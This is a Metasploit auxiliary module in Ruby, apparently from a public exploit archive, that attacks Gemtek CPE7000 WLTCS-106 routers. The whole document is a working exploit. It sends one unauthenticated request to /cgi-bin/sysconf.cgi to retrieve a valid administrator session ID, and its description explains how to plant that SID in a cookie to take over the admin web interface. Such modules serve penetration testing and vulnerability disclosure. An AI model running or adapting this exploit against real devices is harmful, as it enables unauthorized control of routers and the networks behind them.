Gemtek CPE7000 WLTCS-106 Administrator SID Retriever

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',  
'Description' => %q{  
A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows  
unauthenticated remote attackers to retrieve a valid Administrative SID.  
  
To obtain an administrative web session inject this SID in your client's  
cookie with values as follow: userlevel=2;sid=<SID>  
  
Tested on Hardware version V02A and Firmware version 01.01.02.082.  
},  
'References' =>  
[  
[ 'EDB', '39716' ],  
[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],  
[ 'URL' , 'http://www.gemtek.com.tw/' ]  
],  
'Author' =>  
[  
'Federico Scalco <fscalco [ at] mentat.is>'  
#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => "Apr 07 2016",  
'DefaultOptions' =>  
{  
'RPORT' => 443  
}  
))  
  
register_options(  
[  
OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),  
OptBool.new('SSL', [true, 'Use SSL', true])  
], self.class)  
end  
  
def run  
@peer = "#{rhost}:#{rport}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/cgi-bin/sysconf.cgi',  
'vars_get' => {  
'page' => 'ajax.asp',  
'action' => 'login_confirm'  
}  
})  
  
if !res or res.code != 200  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")  
end  
  
ssid = res.body.split(',', 2)  
print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")  
end  
end  
  
`